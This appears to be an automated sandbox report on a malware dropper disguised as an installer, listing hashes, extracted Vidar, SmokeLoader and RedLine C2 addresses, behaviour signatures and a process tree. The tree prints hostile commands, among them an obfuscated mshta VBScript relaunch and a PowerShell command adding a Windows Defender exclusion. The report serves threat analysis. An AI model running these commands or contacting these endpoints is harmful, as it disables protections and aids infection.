Resubmissions

08-10-2021 15:07

211008-shl8xsefa9 10

08-10-2021 05:38

211008-gbvqyadce8 10

07-10-2021 18:28

211007-w4jayacge3 10

Analysis

  • max time kernel
    90s
  • max time network
    1810s
  • platform
    windows7_x64
  • resource
    win7-de-20210920
  • submitted
    08-10-2021 15:07

General

  • Target

    setup_x86_x64_install.exe

  • Size

    5.9MB

  • MD5

    0308d3044eda0db671c58c2a97cb3c10

  • SHA1

    1737ab616a61d35b0bde0aaad949d9894e14be9e

  • SHA256

    b52242da50ea2b3a05f6787dfa7197a0c99442e91d3bc78b71363c2ff3c4f072

  • SHA512

    29902fe4a53319290d18b65a6baa1d747f1389a84cd7eb1a123d05b418b737336cd54c84b76403bc2cbb1f078c19b4461a89eec8214bfcdcf4831bb1dbda0e3e

Malware Config

Extracted

Family

vidar

Version

41.2

Botnet

916

C2

https://mas.to/@serg4325

Attributes
  • profile_id

    916

Extracted

Family

smokeloader

Version

2020

C2

http://gmpeople.com/upload/

http://mile48.com/upload/

http://lecanardstsornin.com/upload/

http://m3600.com/upload/

http://camasirx.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

media214

C2

91.121.67.60:2151

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 3 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 19 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 55 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:592
      • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\setup_install.exe
        "C:\Users\Admin\AppData\Local\Temp\7zS05222F16\setup_install.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Thu166f9a8bbe80.exe
          4⤵
          • Loads dropped DLL
          PID:1088
          • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu166f9a8bbe80.exe
            Thu166f9a8bbe80.exe
            5⤵
            • Executes dropped EXE
            • Checks computer location settings
            • Loads dropped DLL
            PID:568
            • C:\Users\Admin\Pictures\Adobe Films\wNl6wHAMvfRoIXqbE0Esh6jf.exe
              "C:\Users\Admin\Pictures\Adobe Films\wNl6wHAMvfRoIXqbE0Esh6jf.exe"
              6⤵
              • Executes dropped EXE
              PID:764
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 568 -s 1428
              6⤵
              • Loads dropped DLL
              • Program crash
              • Suspicious use of AdjustPrivilegeToken
              PID:1788
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Thu16205451b994.exe /mixone
          4⤵
          • Loads dropped DLL
          PID:1740
          • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu16205451b994.exe
            Thu16205451b994.exe /mixone
            5⤵
            • Executes dropped EXE
            PID:940
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c Thu161580bf75.exe
          4⤵
          • Loads dropped DLL
          PID:1676
          • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu161580bf75.exe
            Thu161580bf75.exe
            5⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            PID:916
            • C:\Users\Admin\AppData\Roaming\6593719.scr
              "C:\Users\Admin\AppData\Roaming\6593719.scr" /S
              6⤵
              • Executes dropped EXE
              PID:2436
            • C:\Users\Admin\AppData\Roaming\1332080.scr
              "C:\Users\Admin\AppData\Roaming\1332080.scr" /S
              6⤵
              • Executes dropped EXE
              PID:2468
              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                7⤵
                  PID:2980
              • C:\Users\Admin\AppData\Roaming\8988675.scr
                "C:\Users\Admin\AppData\Roaming\8988675.scr" /S
                6⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:2620
              • C:\Users\Admin\AppData\Roaming\6627024.scr
                "C:\Users\Admin\AppData\Roaming\6627024.scr" /S
                6⤵
                • Executes dropped EXE
                PID:2812
              • C:\Users\Admin\AppData\Roaming\7358781.scr
                "C:\Users\Admin\AppData\Roaming\7358781.scr" /S
                6⤵
                  PID:2904
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Thu1628aafb3efd7c3d.exe
              4⤵
              • Loads dropped DLL
              PID:1416
              • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu1628aafb3efd7c3d.exe
                Thu1628aafb3efd7c3d.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:636
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 636 -s 776
                  6⤵
                  • Loads dropped DLL
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1072
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Thu165bd34b1e1d4d81.exe
              4⤵
              • Loads dropped DLL
              PID:976
              • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu165bd34b1e1d4d81.exe
                Thu165bd34b1e1d4d81.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:1684
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c taskkill /f /im chrome.exe
                  6⤵
                    PID:2640
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /f /im chrome.exe
                      7⤵
                      • Kills process with taskkill
                      PID:2712
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Thu16466b26f8b7.exe
                4⤵
                • Loads dropped DLL
                PID:960
                • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu16466b26f8b7.exe
                  Thu16466b26f8b7.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:1564
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Thu16f584bd3686.exe
                4⤵
                • Loads dropped DLL
                PID:1728
                • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu16f584bd3686.exe
                  Thu16f584bd3686.exe
                  5⤵
                  • Executes dropped EXE
                  PID:1836
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Thu16f3de88a335950bb.exe
                4⤵
                  PID:292
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Thu164ba03be19.exe
                  4⤵
                  • Loads dropped DLL
                  PID:1076
                  • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu164ba03be19.exe
                    Thu164ba03be19.exe
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious use of SetThreadContext
                    PID:1732
                    • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu164ba03be19.exe
                      C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu164ba03be19.exe
                      6⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:2536
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Thu1653d94a8da.exe
                  4⤵
                  • Loads dropped DLL
                  PID:1100
                  • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu1653d94a8da.exe
                    Thu1653d94a8da.exe
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1668
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu1653d94a8da.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu1653d94a8da.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                      6⤵
                        PID:972
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                    4⤵
                      PID:1688
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                        5⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1180
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c Thu167d514d2a7ac5a.exe
                      4⤵
                      • Loads dropped DLL
                      PID:1540
                      • C:\Users\Admin\AppData\Local\Temp\7zS05222F16\Thu167d514d2a7ac5a.exe
                        Thu167d514d2a7ac5a.exe
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1804
              • C:\Users\Admin\AppData\Local\Temp\146B.exe
                C:\Users\Admin\AppData\Local\Temp\146B.exe
                1⤵
                • Executes dropped EXE
                PID:2552
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {6DFA3D7F-9987-4AB7-9704-30342F85FF9F} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                1⤵
                  PID:2372
                  • C:\Users\Admin\AppData\Roaming\dhacusd
                    C:\Users\Admin\AppData\Roaming\dhacusd
                    2⤵
                      PID:2992
                    • C:\Program Files\Mozilla Firefox\default-browser-agent.exe
                      "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
                      2⤵
                        PID:1220
                      • C:\Users\Admin\AppData\Roaming\dhacusd
                        C:\Users\Admin\AppData\Roaming\dhacusd
                        2⤵
                          PID:2556
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {A22E435D-5773-4A29-A953-CAA85D4BAC71} S-1-5-18:NT AUTHORITY\System:Service:
                        1⤵
                          PID:1000
                        • C:\Windows\system32\taskeng.exe
                          taskeng.exe {7C8C7D93-47E7-4AFD-845C-B20ED056E0E6} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                          1⤵
                            PID:1544
                            • C:\Users\Admin\AppData\Roaming\dhacusd
                              C:\Users\Admin\AppData\Roaming\dhacusd
                              2⤵
                                PID:2472
                            • C:\Windows\system32\taskeng.exe
                              taskeng.exe {D3646B41-B7DB-44F4-96F4-4D735967A809} S-1-5-18:NT AUTHORITY\System:Service:
                              1⤵
                                PID:1568

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • memory/568-198-0x0000000003D30000-0x0000000003E73000-memory.dmp

                                Filesize

                                1.3MB

                              • memory/636-189-0x0000000000400000-0x0000000002E08000-memory.dmp

                                Filesize

                                42.0MB

                              • memory/636-188-0x00000000034B0000-0x0000000005EB8000-memory.dmp

                                Filesize

                                42.0MB

                              • memory/636-183-0x0000000003000000-0x000000000307C000-memory.dmp

                                Filesize

                                496KB

                              • memory/916-208-0x000000001AF00000-0x000000001AF02000-memory.dmp

                                Filesize

                                8KB

                              • memory/916-195-0x00000000003E0000-0x00000000003E1000-memory.dmp

                                Filesize

                                4KB

                              • memory/916-204-0x0000000000240000-0x0000000000241000-memory.dmp

                                Filesize

                                4KB

                              • memory/1072-206-0x00000000008A0000-0x00000000008A1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1180-192-0x0000000001F80000-0x0000000002BCA000-memory.dmp

                                Filesize

                                12.3MB

                              • memory/1180-197-0x0000000001F80000-0x0000000002BCA000-memory.dmp

                                Filesize

                                12.3MB

                              • memory/1180-190-0x0000000001F80000-0x0000000002BCA000-memory.dmp

                                Filesize

                                12.3MB

                              • memory/1296-191-0x0000000002BC0000-0x0000000002BD5000-memory.dmp

                                Filesize

                                84KB

                              • memory/1296-294-0x0000000003E60000-0x0000000003E75000-memory.dmp

                                Filesize

                                84KB

                              • memory/1296-289-0x0000000002D80000-0x0000000002D95000-memory.dmp

                                Filesize

                                84KB

                              • memory/1296-283-0x0000000002D60000-0x0000000002D75000-memory.dmp

                                Filesize

                                84KB

                              • memory/1564-185-0x0000000000400000-0x0000000002D9C000-memory.dmp

                                Filesize

                                41.6MB

                              • memory/1564-181-0x0000000002ED0000-0x0000000002EE0000-memory.dmp

                                Filesize

                                64KB

                              • memory/1564-184-0x0000000000240000-0x0000000000249000-memory.dmp

                                Filesize

                                36KB

                              • memory/1732-193-0x00000000013D0000-0x00000000013D1000-memory.dmp

                                Filesize

                                4KB

                              • memory/1732-207-0x0000000001370000-0x0000000001371000-memory.dmp

                                Filesize

                                4KB

                              • memory/1788-205-0x0000000000260000-0x00000000002E0000-memory.dmp

                                Filesize

                                512KB

                              • memory/1796-54-0x0000000076291000-0x0000000076293000-memory.dmp

                                Filesize

                                8KB

                              • memory/1832-101-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                Filesize

                                572KB

                              • memory/1832-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                Filesize

                                1.5MB

                              • memory/1832-90-0x0000000064940000-0x0000000064959000-memory.dmp

                                Filesize

                                100KB

                              • memory/1832-95-0x0000000064940000-0x0000000064959000-memory.dmp

                                Filesize

                                100KB

                              • memory/1832-102-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                Filesize

                                1.5MB

                              • memory/1832-99-0x0000000064940000-0x0000000064959000-memory.dmp

                                Filesize

                                100KB

                              • memory/1832-94-0x0000000064940000-0x0000000064959000-memory.dmp

                                Filesize

                                100KB

                              • memory/1832-92-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                Filesize

                                152KB

                              • memory/1832-91-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                Filesize

                                152KB

                              • memory/1832-88-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                Filesize

                                1.5MB

                              • memory/1832-86-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                Filesize

                                1.5MB

                              • memory/1832-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                Filesize

                                1.5MB

                              • memory/1832-83-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                Filesize

                                572KB

                              • memory/1832-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                Filesize

                                572KB

                              • memory/1832-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                Filesize

                                572KB

                              • memory/2436-220-0x0000000000420000-0x0000000000421000-memory.dmp

                                Filesize

                                4KB

                              • memory/2436-222-0x00000000006D0000-0x000000000070E000-memory.dmp

                                Filesize

                                248KB

                              • memory/2436-212-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                Filesize

                                4KB

                              • memory/2436-257-0x0000000004BD0000-0x0000000004BD1000-memory.dmp

                                Filesize

                                4KB

                              • memory/2468-219-0x00000000005E0000-0x00000000005E1000-memory.dmp

                                Filesize

                                4KB

                              • memory/2468-221-0x00000000005F0000-0x00000000005FC000-memory.dmp

                                Filesize

                                48KB

                              • memory/2468-215-0x0000000000B80000-0x0000000000B81000-memory.dmp

                                Filesize

                                4KB

                              • memory/2472-293-0x0000000000400000-0x0000000002D9C000-memory.dmp

                                Filesize

                                41.6MB

                              • memory/2536-227-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/2536-271-0x0000000004B10000-0x0000000004B11000-memory.dmp

                                Filesize

                                4KB

                              • memory/2536-232-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/2536-223-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/2536-225-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/2536-224-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/2536-226-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                              • memory/2552-252-0x0000000004922000-0x0000000004923000-memory.dmp

                                Filesize

                                4KB

                              • memory/2552-244-0x0000000000400000-0x000000000045C000-memory.dmp

                                Filesize

                                368KB

                              • memory/2552-249-0x0000000004921000-0x0000000004922000-memory.dmp

                                Filesize

                                4KB

                              • memory/2552-218-0x00000000008D8000-0x00000000008FB000-memory.dmp

                                Filesize

                                140KB

                              • memory/2552-243-0x0000000000220000-0x0000000000250000-memory.dmp

                                Filesize

                                192KB

                              • memory/2552-254-0x0000000004923000-0x0000000004924000-memory.dmp

                                Filesize

                                4KB

                              • memory/2552-269-0x0000000004924000-0x0000000004926000-memory.dmp

                                Filesize

                                8KB

                              • memory/2556-288-0x0000000000400000-0x0000000002D9C000-memory.dmp

                                Filesize

                                41.6MB

                              • memory/2620-270-0x0000000005470000-0x0000000005471000-memory.dmp

                                Filesize

                                4KB

                              • memory/2812-280-0x0000000005420000-0x0000000005421000-memory.dmp

                                Filesize

                                4KB

                              • memory/2904-272-0x0000000004B60000-0x0000000004B61000-memory.dmp

                                Filesize

                                4KB

                              • memory/2980-273-0x0000000001260000-0x0000000001261000-memory.dmp

                                Filesize

                                4KB

                              • memory/2992-282-0x0000000000400000-0x0000000002D9C000-memory.dmp

                                Filesize

                                41.6MB